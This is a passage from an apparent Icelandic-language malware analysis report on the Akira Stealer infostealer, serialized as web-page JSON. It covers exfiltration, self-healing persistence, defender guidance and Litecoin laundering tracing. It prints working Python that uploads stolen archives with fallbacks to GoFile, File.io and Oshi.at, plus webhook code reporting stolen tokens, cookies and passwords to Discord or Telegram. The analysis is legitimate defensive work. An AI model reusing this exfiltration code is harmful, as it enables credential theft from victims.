format\n",[1685,10143,10144],{"class":1687,"line":2398},[1685,10145,10056],{},[1685,10147,10148],{"class":1687,"line":2404},[1685,10149,10150],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1685,10152,10153],{"class":1687,"line":3060},[1685,10154,10061],{},[1685,10156,10157],{"class":1687,"line":3855},[1685,10158,10066],{},[1685,10160,10161],{"class":1687,"line":3861},[1685,10162,10101],{},[532,10164,10118],{},[861,10166,10168],{"id":10167},"_7144-verkflæði-upphals","7.14.4 Verkflæði upphals",[532,10170,867],{},[532,10172,10173],{},"Akira notar þrískipta upphalsstefnu til að hámarka líkurnar á að exfiltration gangi upp. Það reynir fyrst að hlaða safnskránni upp á GoFile.io með opinbera API þeirra, sem skilar niðurhalshlekk. Sé GoFile óaðgengilegt eða blokkað fellur það yfir á File.io og svo Oshi.at, sem tryggir að gögnin komist alltaf áfram. Þessar þjónustur bjóða nafnlausa og skammlífa hýsingu, sem gerir niðurtekt og rekjanleika erfiða. Scriptið fangar endanlega niðurhals-URL-ið og undirbýr það til afhendingar með webhook.",[2084,10175,10176,10208,10234],{},[606,10177,10178,10181],{},[539,10179,10180],{},"Aðalleið: GoFile.io",[603,10182,10183,10191,10199],{},[606,10184,10185,971,10188],{},[539,10186,10187],{},"API til að finna servera",[550,10189,10190],{},"GET https://api.gofile.io/servers",[606,10192,10193,971,10196],{},[539,10194,10195],{},"Upphalsendapunktur",[550,10197,10198],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[606,10200,10201,971,10204,10207],{},[539,10202,10203],{},"Svarsvæði",[550,10205,10206],{},"data.downloadPage"," inniheldur endanlegt URL.",[606,10209,10210,10213],{},[539,10211,10212],{},"Varaleið 1: File.io",[603,10214,10215,10225],{},[606,10216,10217,971,10219,1255,10222],{},[539,10218,10195],{},[550,10220,10221],{},"POST https://file.io/",[550,10223,10224],{},"files={'file': open(...)}",[606,10226,10227,10230,10231,585],{},[539,10228,10229],{},"Svar",": JSON-svæðið ",[550,10232,10233],{},"link",[606,10235,10236,10239],{},[539,10237,10238],{},"Varaleið 2: Oshi.at",[603,10240,10241,10255],{},[606,10242,10243,971,10245,1255,10248,10251,10252,585],{},[539,10244,10195],{},[550,10246,10247],{},"POST http://oshi.at/",[550,10249,10250],{},"files[]"," og breytunum ",[550,10253,10254],{},"expire=43200, autodestroy=0",[606,10256,10257,10259,10260,585],{},[539,10258,10229],{},": plaintext sem inniheldur ",[550,10261,10262],{},"DL: \u003Curl>",[532,10264,10265],{},[539,10266,10267],{},"Kóðabrot úr útfærslunni:",[587,10269,10271],{"className":4490,"code":10270,"language":4492,"meta":593,"style":593},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[550,10272,10273,10278,10282,10287,10292,10296,10301,10306,10311,10316,10321,10326,10331,10336,10341,10346,10351,10355,10360,10365,10369,10374,10378,10383,10388,10392],{"__ignoreMap":593},[1685,10274,10275],{"class":1687,"line":1688},[1685,10276,10277],{},"import requests\n",[1685,10279,10280],{"class":1687,"line":2064},[1685,10281,3852],{"emptyLinePlaceholder":325},[1685,10283,10284],{"class":1687,"line":2070},[1685,10285,10286],{},"def upload_with_fallback(zip_path):\n",[1685,10288,10289],{"class":1687,"line":2076},[1685,10290,10291],{},"    # GoFile\n",[1685,10293,10294],{"class":1687,"line":2398},[1685,10295,5138],{},[1685,10297,10298],{"class":1687,"line":2404},[1685,10299,10300],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1685,10302,10303],{"class":1687,"line":3060},[1685,10304,10305],{},"        for srv in servers:\n",[1685,10307,10308],{"class":1687,"line":3855},[1685,10309,10310],{},"            try:\n",[1685,10312,10313],{"class":1687,"line":3861},[1685,10314,10315],{},"                r = requests.post(\n",[1685,10317,10318],{"class":1687,"line":4106},[1685,10319,10320],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1685,10322,10323],{"class":1687,"line":5023},[1685,10324,10325],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1685,10327,10328],{"class":1687,"line":5029},[1685,10329,10330],{},"                url = r.json()['data']['downloadPage']\n",[1685,10332,10333],{"class":1687,"line":5035},[1685,10334,10335],{},"                if url: return url\n",[1685,10337,10338],{"class":1687,"line":5041},[1685,10339,10340],{},"            except: continue\n",[1685,10342,10343],{"class":1687,"line":5047},[1685,10344,10345],{},"    except: pass\n",[1685,10347,10348],{"class":1687,"line":5053},[1685,10349,10350],{},"    # File.io\n",[1685,10352,10353],{"class":1687,"line":5059},[1685,10354,5138],{},[1685,10356,10357],{"class":1687,"line":5065},[1685,10358,10359],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1685,10361,10362],{"class":1687,"line":5071},[1685,10363,10364],{},"        return r.json().get('link','')\n",[1685,10366,10367],{"class":1687,"line":5077},[1685,10368,10345],{},[1685,10370,10371],{"class":1687,"line":5083},[1685,10372,10373],{},"    # Oshi.at\n",[1685,10375,10376],{"class":1687,"line":5089},[1685,10377,5138],{},[1685,10379,10380],{"class":1687,"line":5095},[1685,10381,10382],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1685,10384,10385],{"class":1687,"line":5101},[1685,10386,10387],{},"        return text.split('DL: ')[1].strip()\n",[1685,10389,10390],{"class":1687,"line":5107},[1685,10391,10345],{},[1685,10393,10394],{"class":1687,"line":5774},[1685,10395,10396],{},"    return ''\n",[861,10398,10400],{"id":10399},"_7155-webhook-viðvaranir-sókn-árásaraðilans-og-takmörk-á-sýnileika-greinandans","7.15.5 Webhook-viðvaranir, sókn árásaraðilans og takmörk á sýnileika greinandans",[532,10402,867],{},[532,10404,10405],{},"Eftir að ZIP-safnskránni hefur verið hlaðið upp sendir Akira webhook-tilkynningu, yfirleitt á Discord eða Telegram, með skipulögðu embedi sem inniheldur ítarlegar upplýsingar: fjölda stolinna tokens, fjölda cookies, skráarstærð og niðurhalshlekk sem má klikka á. Það gefur árásaraðilum tafarlausa svörun og aðgang til að sækja gögnin. Til að tryggja áreiðanleika er einnig sent varaskeyti í plaintext sem inniheldur aðeins hlekkinn á safnskrána. Þessi afritun tryggir afhendingu, jafnvel þótt embedið sé blokkað eða síað af pallinum. Frá sjónarhóli þeirra sem verjast eru þessi samskipti oft ósýnileg nema vöktun á útgangandi netumferð sé til staðar.",[532,10407,10408],{},[539,10409,10410],{},"Embed-tilkynning",[587,10412,10414],{"className":4490,"code":10413,"language":4492,"meta":593,"style":593},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[550,10415,10416,10421,10426,10431,10436,10441,10446,10451,10456,10460,10465,10470,10475,10479],{"__ignoreMap":593},[1685,10417,10418],{"class":1687,"line":1688},[1685,10419,10420],{},"# Build embed with key metadata\n",[1685,10422,10423],{"class":1687,"line":2064},[1685,10424,10425],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1685,10427,10428],{"class":1687,"line":2070},[1685,10429,10430],{},"fields = [\n",[1685,10432,10433],{"class":1687,"line":2076},[1685,10434,10435],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1685,10437,10438],{"class":1687,"line":2398},[1685,10439,10440],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1685,10442,10443],{"class":1687,"line":2404},[1685,10444,10445],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1685,10447,10448],{"class":1687,"line":3060},[1685,10449,10450],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1685,10452,10453],{"class":1687,"line":3855},[1685,10454,10455],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1685,10457,10458],{"class":1687,"line":3861},[1685,10459,7912],{},[1685,10461,10462],{"class":1687,"line":4106},[1685,10463,10464],{},"payload = {\n",[1685,10466,10467],{"class":1687,"line":5023},[1685,10468,10469],{},"    'username':'Akira 💊',\n",[1685,10471,10472],{"class":1687,"line":5029},[1685,10473,10474],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1685,10476,10477],{"class":1687,"line":5035},[1685,10478,2407],{},[1685,10480,10481],{"class":1687,"line":5041},[1685,10482,10483],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[603,10485,10486,10492],{},[606,10487,10488,10491],{},[539,10489,10490],{},"Afhending",": sent á Discord- eða Telegram-rás árásaraðilans.",[606,10493,10494,10497,10498,10501],{},[539,10495,10496],{},"Embed-hlekkur",": inniheldur ",[550,10499,10500],{},"download_url"," sem má klikka á og vísar á ZIP-ið á GoFile (eða varahýsingu).",[532,10503,10504],{},[539,10505,10506],{},"Varaleið með hráum hlekk",[587,10508,10510],{"className":4490,"code":10509,"language":4492,"meta":593,"style":593},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[550,10511,10512,10517,10522],{"__ignoreMap":593},[1685,10513,10514],{"class":1687,"line":1688},[1685,10515,10516],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1685,10518,10519],{"class":1687,"line":2064},[1685,10520,10521],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1685,10523,10524],{"class":1687,"line":2070},[1685,10525,10526],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[603,10528,10529],{},[606,10530,10531,10534],{},[539,10532,10533],{},"Plaintext",": tryggir afhendingu hlekksins ef embed eru blokkuð eða hljóðlega felld niður.",[532,10536,10537],{},[539,10538,10539],{},"Hvernig árásaraðilinn sækir hlekkinn",[532,10541,10542,10545],{},[539,10543,10544],{},"1. Webhook-innviðir","\nÁrásaraðilinn byggir webhook-endapunktinn inn í uppsetningu malware-sins:",[587,10547,10549],{"className":4490,"code":10548,"language":4492,"meta":593,"style":593},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[550,10550,10551,10556],{"__ignoreMap":593},[1685,10552,10553],{"class":1687,"line":1688},[1685,10554,10555],{},"# at class initialization\n",[1685,10557,10558],{"class":1687,"line":2064},[1685,10559,10560],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[603,10562,10563,10570],{},[606,10564,10565,971,10567],{},[539,10566,1316],{},[550,10568,10569],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[606,10571,10572,971,10575],{},[539,10573,10574],{},"Telegram",[550,10576,10577],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[532,10579,10580,10583],{},[539,10581,10582],{},"2. Afhending í rauntíma","\nStrax eftir að upphal skráar gengur upp keyrir malware-ið:",[587,10585,10587],{"className":4490,"code":10586,"language":4492,"meta":593,"style":593},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[550,10588,10589,10593,10598,10603,10608,10613,10618,10623,10628,10632,10637],{"__ignoreMap":593},[1685,10590,10591],{"class":1687,"line":1688},[1685,10592,10464],{},[1685,10594,10595],{"class":1687,"line":2064},[1685,10596,10597],{},"  'username': 'Akira 💊',\n",[1685,10599,10600],{"class":1687,"line":2070},[1685,10601,10602],{},"  'embeds': [{\n",[1685,10604,10605],{"class":1687,"line":2076},[1685,10606,10607],{},"      'title': '🗄️ Exfiltration Complete',\n",[1685,10609,10610],{"class":1687,"line":2398},[1685,10611,10612],{},"      'fields': [\n",[1685,10614,10615],{"class":1687,"line":2404},[1685,10616,10617],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1685,10619,10620],{"class":1687,"line":3060},[1685,10621,10622],{},"      ]\n",[1685,10624,10625],{"class":1687,"line":3855},[1685,10626,10627],{},"  }]\n",[1685,10629,10630],{"class":1687,"line":3861},[1685,10631,2407],{},[1685,10633,10634],{"class":1687,"line":4106},[1685,10635,10636],{},"# Transmit the archive URL entirely in the JSON body\n",[1685,10638,10639],{"class":1687,"line":5023},[1685,10640,10641],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[603,10643,10644,10653],{},[606,10645,10646,10648,10649,10652],{},[550,10647,10500],{},"-breytan er felld inn í ",[550,10650,10651],{},"fields.value"," embedsins.",[606,10654,10655,10656,6586,10658,10661],{},"Í Telegram-varaleiðinni birtist ",[550,10657,10500],{},[550,10659,10660],{},"message","-breytunni í plaintext.",[532,10663,10664],{},[539,10665,10666],{},"3. Takmarkanir á sýnileika EDR og forensic",[603,10668,10669,10678],{},[606,10670,10671,10674,10675,10677],{},[539,10672,10673],{},"Engin staðbundin loggun",": malware-ið skrifar ",[550,10676,10500],{}," hvorki á disk né í kerfisogga.",[606,10679,10680,10683],{},[539,10681,10682],{},"Blindir punktar EDR",": tól eins og Microsoft Defender for Endpoint gætu merkt HTTP-beiðnina en geta ekki dregið út innbyggða URL-ið.",[532,10685,10686],{},[539,10687,10688],{},"4. Hvers vegna greinandinn getur ekki endurheimt þetta staðbundið:",[603,10690,10691,10702,10722],{},[606,10692,10693,10674,10696,10698,10699,10701],{},[539,10694,10695],{},"Ekkert staðbundið afrit af hlekknum",[550,10697,10500],{}," aðeins í minni og sendir það yfir netið, það vistar þetta URL ",[4627,10700,1579],{}," á disk eða í logga.",[606,10703,10704,10707,10708,10710,10715,10716,10718,10719,585],{},[539,10705,10706],{},"Skammlíf staging-tiltekt",": strax eftir upphal keyrir kóðinn:",[697,10709],{},[1685,10711,10714],{"className":10712},[10713],"text-monospace","shutil.rmtree(ROOT)",",",[697,10717],{},"\nsem þurrkar alla staged artifacts (þar á meðal allar skammlífar textaskrár) út úr ",[550,10720,10721],{},"%TEMP%",[606,10723,10724,10727,10728,10731],{},[539,10725,10726],{},"Sending eingöngu yfir net",": webhook-köll (",[550,10729,10730],{},"requests.post",") fara fram í minni, engir HTTP-loggar eða færslur í vafraferli verða til á vél fórnarlambsins.",[820,10733,10734],{},[532,10735,10736,10739,10740,10742,10743,10745],{},[539,10737,10738],{},"Hvað þetta þýðir fyrir greinendur:","\nÁn lifandi pakkasöfnunar (t.d. network TAP eða proxy) á keyrslutíma er nákvæmt ",[550,10741,10500],{}," óendurheimtanlegt eftir sýkinguna.\nAuk þess er exfiltreruðu safnskránni eytt sjálfkrafa af hýsingarþjónustunni, sem minnkar glugga fyrir forensic-sókn enn frekar.\nDiskmyndir eða hostbyggð forensic-endurheimt eftir sýkinguna munu ",[4627,10744,1579],{}," afhjúpa URL árásaraðilans eða credentials skráahýsingarinnar, því engir artifacts verða eftir staðbundið.",[826,10747],{"className":10748},[829,830],[713,10750,10752],{"id":10751},"_713-niðurstaða","7.13 Niðurstaða",[532,10754,719],{},[532,10756,10757,10759],{},[550,10758,581],{}," (Akira Stealer v2) er heildstætt stealer-verkfærasett sem dreift er í viðskiptaskyni. Það sameinar breið skotmörk, fágaða vörn gegn greiningu, dýnamíska stýringu innviða og gagnaþjófnað á öllum lögum, þvert á credentials, kryptó, kerfisgreiningu og skrár notandans. Einingaskipting þess og ósýnileiki, ásamt hröðum endursýkingaraðferðum, gera það að einum tæknilega háþróaðasta stealer sem sést hefur í virkri dreifingu.",[527,10761,10763],{"id":10762},"_8-hringlaga-keyrslukeðja-sjálfslæknandi-lykkja","8. Hringlaga keyrslukeðja: sjálfslæknandi lykkja",[532,10765,534],{},[532,10767,10768,10769,10772],{},"Einn tæknilega fágaðasti þátturinn í þessari herferð er endurmyndandi og hringlaga keyrslumódel hennar. Ólíkt hefðbundnu malware með línuleg þrep sem ganga frá dropper til payloads og hverfa svo var þessi aðgerð hönnuð eins og ",[539,10770,10771],{},"lokuð lykkja",", þar sem hver hluti vaktar aðra.",[532,10774,10775,10776,10779],{},"Þessi ",[539,10777,10778],{},"sjálfslæknandi arkitektúr"," gerði sýkingarkeðjuna ekki aðeins þrálátt heldur einnig sjálfstæða. Hún gat jafnað sig að fullu eftir að hluti hennar var fjarlægður. Svo lengi sem eitt brot var enn á lífi gat allt malware-vistkerfið byggt sig upp á nýjan leik.",[713,10781,10783],{"id":10782},"_81-hegðunin-brotin-niður","8.1 Hegðunin brotin niður",[532,10785,719],{},[2084,10787,10788,10814,10827,10858,10876],{},[606,10789,10790,10795,10797,10798,10801,10802,10804,10805,10807,10808,10810,10811,10813],{},[539,10791,10792,10793,1111],{},"Festa fyrir persistence (",[550,10794,573],{},[550,10796,573],{}," er grunnfótfestan. Það er yfirleitt skrifað niður á startup-stað notanda í Windows, svo sem ",[550,10799,10800],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eða skráð í gegnum ",[550,10803,1657],{},". Verk þess er einfalt en afgerandi: að tryggja að ",[550,10806,577],{}," sé til staðar og ræsa það hljóðlega við innskráningu notanda. Ef ",[550,10809,577],{}," vantar dregur það safnskrána ",[550,10812,1827],{}," út aftur (sem liggur í tímabundinni möppu eða er skrifuð niður upp á nýtt) og endurmyndar alla Electron-forritsuppbygginguna.",[606,10815,10816,10821,10823,10824,10826],{},[539,10817,10818,10819,1111],{},"Brúarloader (",[550,10820,577],{},[550,10822,577],{}," er Node.js-forritið pakkað í Electron. Það birtir ekkert GUI og starfar alfarið í bakgrunni. Við keyrslu keyrir það innbyggðu JavaScript-rökvísina inni í ",[550,10825,1045],{}," og notar Node.js sem runtime-umhverfi. Þetta abstraktionslag skilur kjarnarökvísina frá PE-stubbnum og hjálpar til við að komast hjá hefðbundinni greiningu.",[606,10828,10829,10834,10835,10837,10838],{},[539,10830,10831,10832,1111],{},"Keyrslustjórnandi (",[550,10833,2810],{},"\nÞetta er innbyggt í ",[550,10836,1045],{}," og er hinn raunverulegi stjórnandi sýkingarkeðjunnar. Meðal helstu hlutverka þess eru:",[603,10839,10840,10846,10849],{},[606,10841,10842,10843,10845],{},"Að athuga hvort ",[550,10844,573],{}," sé til staðar og dreifa því aftur ef það vantar",[606,10847,10848],{},"Að skjóta inn uppsetningu á keyrslutíma með dýnamískum hætti: webhook-URL, C2-heimilisföng, tokens",[606,10850,10851,10852,10854,10855,10857],{},"Að kalla annaðhvort á Python-payloadinn sem þegar er til staðar (",[550,10853,581],{},") eða sækja hann sem hluta af ZIP-búnti (t.d. ",[550,10856,2874],{},") frá innviðum sem árásaraðilinn stýrir",[606,10859,10860,10865,10866,10868,10869,10871,10872,10875],{},[539,10861,10862,10863,1111],{},"Keyrsla payloads (",[550,10864,581],{},"\nÞegar kveikt er á því keyrir ",[550,10867,581],{}," í minni í gegnum ",[550,10870,552],{},". Það safnar með aðferð vistuðum credentials, cookies, Discord-tokens, setugögnum browsers og extensions fyrir kryptóveski. Gögnin eru staged í ZIP-safnskrá og exfiltreruð yfir HTTPS, yfirleitt á Discord-webhooks, en einnig hafa varaleiðir eins og ",[550,10873,10874],{},"gofile.io"," eða sérsniðnir C2-endapunktar sést.",[606,10877,10878,10881,10882,10884,10885,10887,10888,10890,10891,10893,10894,10896],{},[539,10879,10880],{},"Heilleiki lykkjunnar og sjálfslækning","\nHönnunin er hringlaga. Ef ",[550,10883,573],{}," er eytt verður því dreift aftur. Ef ",[550,10886,577],{}," vantar dregur ",[550,10889,573],{}," það út aftur úr ",[550,10892,1827],{},". Ef ",[550,10895,581],{}," er eytt sækir JavaScript-lagið það aftur. Þessi gagnkvæma háðni gerir malware-ið þolið og gefur því getu til að endurgera keyrslukeðju sína úr nánast hverju broti sem eftir lifir.",[532,10898,10899,10900,10903],{},"Þessi arkitektúr er ekki aðeins einingaskiptur, hann er ",[539,10901,10902],{},"sjálfbær",", hannaður af ásettu ráði til að vera ósýnilegur, sveigjanlegur og lífseigur í markumhverfum.",[713,10905,10907],{"id":10906},"_82-hvers-vegna-þetta-er-eftirtektarvert","8.2 Hvers vegna þetta er eftirtektarvert",[532,10909,719],{},[532,10911,10912,10913,585],{},"Arkitektúrhönnun herferðarinnar endurspeglar fágun sem sjaldan sést í fjöldaframleiddum infostealers. Hún gengur lengra en einfaldir fjölþrepa loaders, þetta er malware hannað fyrir ",[539,10914,10915],{},"rekstrarþol, ósýnileika og sjálfvirkni",[532,10917,10918],{},[539,10919,10920],{},"Helstu einkenni",[603,10922,10923,10929,10967,10987],{},[606,10924,10925,10928],{},[539,10926,10927],{},"Fullt sjálfstæði","\nÞegar því hefur verið dreift þarf malware-ið enga þátttöku notanda og enga utanaðkomandi endurvirkjun. Það hegðar sér eins og illgjörn microservice og stjórnar sínu eigin persistence, keyrslu payloads og viðgerðarrútínum án utanaðkomandi stýringar.",[606,10930,10931,10934,10935],{},[539,10932,10933],{},"Keyrslustakkur í mörgum forritunarmálum","\nVerkfærakeðjan samþættir:",[603,10936,10937,10947,10953,10959],{},[606,10938,10939,10942,10943,619,10945,1111],{},[539,10940,10941],{},"PE-binaries"," (",[550,10944,573],{},[550,10946,577],{},[606,10948,10949,10952],{},[539,10950,10951],{},"Node.js / JavaScript"," (í gegnum Electron)",[606,10954,10955,10958],{},[539,10956,10957],{},"PowerShell"," (notað fyrir obfuskerað relay payloads)",[606,10960,10961,10942,10964,10966],{},[539,10962,10963],{},"Python",[550,10965,581],{},", keyrt sem stealer sem býr í minni)\nÞessi lagskipta samsetning gerir erfiðara að taka fingrafar af því, greina það og skoða með hefðbundnum statískum tólum.",[606,10968,10969,10972,10973],{},[539,10970,10971],{},"Vörn gegn greiningu frá grunni","\nHver hluti er kóðaður, dulkóðaður eða innskotinn dýnamískt:",[603,10974,10975,10978,10981,10984],{},[606,10976,10977],{},"Base64-PowerShell-relay",[606,10979,10980],{},"AES-dulkóðaður og GZIP-þjappaður Python-kjarni",[606,10982,10983],{},"Obfuskerað JavaScript með innspýtingu tokens á keyrslutíma",[606,10985,10986],{},"Sjálfslæknandi hegðun sem torveldar að fjarlægja hluta",[606,10988,10989,10992,10993,10893,10996,10998,10999,11001],{},[539,10990,10991],{},"Enginn einn bilunarpunktur","\nSjálfsviðgerðarrökvísi malware-sins tryggir að ",[539,10994,10995],{},"það nægir ekki að fjarlægja einn hluta",[550,10997,573],{}," er fjarlægt endurgerir infostealerinn það. Ef ",[550,11000,581],{}," er eytt sækir JavaScript-stjórnandinn það aftur og dreifir því á nýjan leik.",[532,11003,11004,11005,11008],{},"Í stuttu máli hegðar malware-ið sér frekar eins og ",[539,11006,11007],{},"dreift kerfi"," en dæmigerður payload, kerfi sem setur lífseigju, einingaskiptingu og ósýnileika í fyrsta sæti.",[532,11010,11011,11012,11015],{},"Það lyftir ógninni frá tilviljanakenndri árás upp í ",[539,11013,11014],{},"þolinn og aðlögunarhæfan pall",", sem kallar á að þeir sem verjast mæti flækjustigi hans með jafn lagskiptum aðferðum við detection og viðbrögð.",[713,11017,11019],{"id":11018},"_83-hvað-þetta-þýðir-fyrir-blue-teams","8.3 Hvað þetta þýðir fyrir blue teams",[532,11021,719],{},[532,11023,11024],{},"Fyrir þá sem verjast og fyrir CSOC-stjórnendur hækkar þessi tegund arkitektúrs þröskuldinn:",[603,11026,11027,11033,11048],{},[606,11028,11029,11032],{},[539,11030,11031],{},"Það gagnast ekki að taka til að hluta",". Alla hnúta þarf að greina og fjarlægja samtímis.",[606,11034,11035,11038,11039,11041,11042,11041,11044,11041,11046,585],{},[539,11036,11037],{},"Samtenging í Defender for Endpoint"," er ómissandi. Greinendur verða að rekja heilar keðjur: frá ",[550,11040,573],{}," → ",[550,11043,1100],{},[550,11045,1197],{},[550,11047,552],{},[606,11049,11050,11053],{},[539,11051,11052],{},"Persistence án IOC"," þýðir að heuristík byggð á minni, grunnlínur í telemetríu og detection byggð á keðjum eru lykillinn.",[532,11055,11056,11057,11060],{},"Þetta er ekki bara stealer. Þetta er ",[539,11058,11059],{},"þolinn malware-pallur"," sem hegðar sér frekar eins og dreift kerfi en einföld ógn. Og það er nákvæmlega það sem gerir hann bæði áhrifamikinn og hættulegan.",[527,11062,11064],{"id":11063},"_9-rakning-og-greining-á-blockchain","9. Rakning og greining á blockchain",[532,11066,534],{},[713,11068,11070],{"id":11069},"_91-að-rekja-dreifingu-fjármuna-í-malware-herferð-byggðri-á-litecoin","9.1 Að rekja dreifingu fjármuna í malware-herferð byggðri á Litecoin",[532,11072,719],{},[532,11074,11075,11076,11079],{},"Á reverse engineering-stigi þessarar malware-herferðar drógum við út mörg harðkóðuð veskjaheimilisföng sem stealerinn notaði til exfiltration kryptógjaldmiðla. Með því að fylgja virkni þessara Litecoin-veskja á keðjunni gátum við afhjúpað mynstur sem gefa vísvitandi peningaþvætti til kynna. Veskið ",[550,11077,11078],{},"LW6EopiZ...",", sem árásaraðilinn stýrir, virkar sem miðlægur samsöfnunarpunktur. Fjármunum sem stolið er frá mörgum fórnarlömbum er trektað inn á þetta heimilisfang og þeim svo dreift hratt á mörg ný heimilisföng.",[532,11081,11082],{},"Hegðunin sem sést hér er dæmigerð fyrir klassískt klofningsmynstur sem notað er í tumbling- eða mixing-aðgerðum með kryptó. Í hverju tilviki er öll innkomna staðan skipt í tvær nokkurn veginn hlutfallslegar útgangandi færslur, hver send á annað veski. Þessari stefnu er ætlað að torvelda klösun heimilisfanga og rakningu á keðjunni með því að hylja uppruna fjármunanna. Það er áhrifarík taktík til að komast hjá detection frá sjálfvirkri blockchain-greiningu og threat intelligence-pöllum.",[532,11084,11085],{},"Þessi þvættishegðun nýtir samsetningu tímasetningar færslna, nákvæmrar klofningar verðmæta og lágmörkunar á endurnotkun heimilisfanga til að komast fram hjá heuristík sem klösunaralgrím eins og þau í GraphSense, Chainalysis eða TRM Labs nota almennt. Heildarmarkmiðið er að skapa færsluflæði með háa óreiðu, sem ruglar attribution og rýfur tengjanleika, sérstaklega þegar fjármunirnir eru loks brúaðir yfir í aðrar eignir eða skipt í myntir með áherslu á einkalíf.",[532,11087,11088],{},"Í dæminu hér fyrir neðan sýnum við skipulagt úrtak þessarar hegðunar. Innkomnu færslurnar eru aðskildar millifærslur frá fórnarlömbum. Þessum gildum er svo varpað nákvæmlega á útgangandi flæði, sem sýnir myntirnar \"þvegnar\" í gegnum hraðar, forspáanlegar og algrímískt klofnar útgreiðslur.",[1390,11090,4680,11094],{"className":11091,"style":11093},[11092],"font-size-1","width:100%; border-collapse: collapse;",[1406,11095,11096,4680,11119,4680,11152,4680,11180,4680,11209],{},[1396,11097,4685,11098,4685,11102,4685,11106,4685,11109,4685,11113,4685,11116,4680],{},[1399,11099,11101],{"style":11100},"text-align: left; width: 14%;","Uppruni inntaks",[1399,11103,11105],{"style":11104},"text-align: left; width: 12%;","Dagsetning inntaks",[1399,11107,11108],{"style":11100},"Inn (LTC)",[1399,11110,11112],{"style":11111},"text-align: left; width: 20%;","→ Veski árásaraðila",[1399,11114,11115],{"style":6296},"Útgangandi heimilisföng",[1399,11117,11118],{},"Samtals út (LTC)",[1396,11120,4685,11121,4685,11124,4685,11127,4685,11130,4685,11137,4685,11150,4680],{},[1411,11122,11123],{},"Input_1",[1411,11125,11126],{},"2024-09-21",[1411,11128,11129],{},"0.25339198",[1411,11131,11132,11133,4685],{},"\n      ",[1685,11134,11136],{"title":11135},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1411,11138,11139,11140,11143,11144,11139,11146,11149],{},"\n      - ",[550,11141,11142],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[697,11145],{},[550,11147,11148],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1411,11151,11129],{},[1396,11153,4685,11154,4685,11157,4685,11160,4685,11163,4685,11167,4685,11178,4680],{},[1411,11155,11156],{},"Input_2",[1411,11158,11159],{},"2024-04-16",[1411,11161,11162],{},"1.09976044",[1411,11164,11132,11165,4685],{},[1685,11166,11136],{"title":11135},[1411,11168,11139,11169,11172,11173,11139,11175,11177],{},[550,11170,11171],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[697,11174],{},[550,11176,11171],{}," (0.25671380, 2024-06-13)\n    